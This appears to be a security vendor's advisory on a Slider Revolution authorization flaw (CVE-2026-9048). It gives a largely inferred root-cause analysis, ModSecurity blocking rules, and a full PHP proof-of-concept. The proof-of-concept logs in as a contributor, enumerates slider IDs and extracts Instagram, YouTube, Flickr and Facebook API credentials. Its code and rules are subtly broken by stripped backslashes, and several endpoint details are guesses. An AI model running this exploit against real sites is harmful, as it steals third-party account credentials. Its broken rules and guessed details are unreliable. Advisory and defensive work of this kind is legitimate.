Atomic Edge analysis of CVE-2026-9048 (metadata-based): This vulnerability affects Slider Revolution versions 7.0.0 through 7.0.14. It exposes sensitive social media API credentials including Instagram OAuth tokens, Flickr API keys, YouTube Data API keys, and Facebook App IDs. The CVSS score is 4.3 (Medium) with a vector indicating low attack complexity and low privileges required.
The root cause is an Incorrect Authorization (CWE-863) in the ‘slider.get.full’ AJAX action. Atomic Edge analysis infers that the plugin fails to perform an adequate capability check before serving the full slider data object to authenticated users with Contributor-level access or higher. Typically, WordPress AJAX handlers check capabilities via ‘current_user_can()’ but this endpoint likely only checks for ‘is_user_logged_in()’ or uses an insufficient capability like ‘edit_posts’ instead of ‘manage_options’. The slider data likely includes a serialized or JSON array containing all configuration fields, including the social media API credential fields stored for each slider. Without a proper capability check, any user who can trigger this AJAX action retrieves the entire slider configuration, exposing hardcoded API secrets.
Exploitation requires an authenticated WordPress session with at least Contributor privileges. The attacker sends a POST request to ‘/wp-admin/admin-ajax.php’ with the action parameter set to ‘slider.get.full’ (the exact action name inferred from the CVE description). The request must include a slider ID (likely passed as ‘sliderid’ or ‘id’). The response returns the full slider settings as a JSON object. The attacker parses this response to extract credential fields such as ‘instagram_token’, ‘flickr_api_key’, ‘youtube_api_key’, ‘facebook_app_id’. No nonce validation is required because the vulnerability description indicates the AJAX action is accessible without proper authorization.
Remediation likely requires the plugin developers to add a capability check using ‘current_user_can( ‘manage_options’ )’ or a similar administrator-only capability before the AJAX handler processes the request. Alternatively, the sensitive credential fields should be redacted from the response when the requesting user lacks administrative privileges. Atomic Edge research recommends the vendor implement both: a strong capability check and a server-side sanitization routine that strips credential fields from the slider data object returned to non-admin users.
If exploited, an attacker gains access to third-party service API credentials. These tokens may allow unauthorized access to the victim organization’s social media accounts linked via the plugin. An attacker could read private Instagram data, modify YouTube channel content, or use the Flickr API key for unauthorized requests. This represents a confidentiality breach with potential for downstream abuse of the compromised API credentials against external platforms.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9048 (metadata-based)
# Blocks AJAX requests to the vulnerable slider.get.full action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269048,phase:2,deny,status:403,chain,msg:'CVE-2026-9048 Blocked - Slider Revolution AJAX Sensitive Information Exposure',severity:'CRITICAL',tag:'CVE-2026-9048',tag:'WordPress',tag:'Slider Revolution'"
SecRule ARGS_POST:action "@streq slider.get.full" "chain"
SecRule ARGS_POST:sliderid "@rx ^d+$" "t:none,chain"
SecRule MATCHED_VAR "@unconditionalMatch" "t:none"
# Alternative rule if the slider ID parameter name differs
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269049,phase:2,deny,status:403,chain,msg:'CVE-2026-9048 Blocked - Slider Revolution AJAX Sensitive Information Exposure (parameter variation)',severity:'CRITICAL',tag:'CVE-2026-9048',tag:'WordPress',tag:'Slider Revolution'"
SecRule ARGS_POST:action "@streq slider.get.full" "chain"
SecRule ARGS_POST:id "@rx ^d+$" "t:none,chain"
SecRule MATCHED_VAR "@unconditionalMatch" "t:none"
# Fallback rule blocking the action regardless of slider ID presence (for early exploitation attempts)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269050,phase:2,deny,status:403,chain,msg:'CVE-2026-9048 Blocked - Slider Revolution AJAX action (fallback)',severity:'CRITICAL',tag:'CVE-2026-9048',tag:'WordPress',tag:'Slider Revolution'"
SecRule ARGS_POST:action "@streq slider.get.full" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9048 - Slider Revolution 7.0.0 - 7.0.14 - Incorrect Authorization to Authenticated (Contributor+) Sensitive Information Exposure
// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$username = 'contributor_user'; // WordPress username with Contributor+ role
$password = 'user_password'; // Corresponding password
// Step 1: Authenticate and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
// Step 2: Identify sliders using WordPress REST API (or by checking the plugin's registered slider IDs)
// Since we cannot fetch the slider list without admin access, we iterate through common slider IDs (1-20)
echo "[+] Attempting to extract slider data via AJAX exploit...n";
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$credentials_found = false;
for ($slider_id = 1; $slider_id <= 20; $slider_id++) {
$payload = array(
'action' => 'slider.get.full', // Inferred AJAX action name
'sliderid' => $slider_id // Typical parameter name for slider ID
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !empty($response)) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "[+] Found slider ID: $slider_idn";
print_r($data);
// Check for common credential keys in slider settings
$checks = array('instagram_token', 'flickr_api_key', 'youtube_api_key', 'facebook_app_id', 'instagram', 'flickr', 'youtube', 'facebook');
foreach ($checks as $key) {
if (isset($data[$key]) && !empty($data[$key])) {
echo "[!] Potential credential found: $key = " . $data[$key] . "n";
$credentials_found = true;
}
}
// If slider data is nested under 'slider' or 'params' key
if (isset($data['slider']['params'])) {
$params = $data['slider']['params'];
foreach ($checks as $key) {
if (isset($params[$key]) && !empty($params[$key])) {
echo "[!] Potential credential found: $key = " . $params[$key] . "n";
$credentials_found = true;
}
}
}
// Recursively search entire response for credential-like keys
array_walk_recursive($data, function($value, $key) use (&$credentials_found) {
$sensitive_keys = array('instagram_token', 'flickr_api_key', 'youtube_api_key', 'facebook_app_id', 'access_token', 'api_key', 'app_id', 'secret');
foreach ($sensitive_keys as $sk) {
if (stripos($key, $sk) !== false && !empty($value)) {
echo "[!] Sensitive data found - $key: $valuen";
$credentials_found = true;
}
}
});
}
}
}
curl_close($ch);
if ($credentials_found) {
echo "n[+] Exploit completed. Credentials extracted successfully.n";
} else {
echo "n[-] No credentials found in sliders 1-20. Try a larger range or verify the slider IDs exist.n";
}
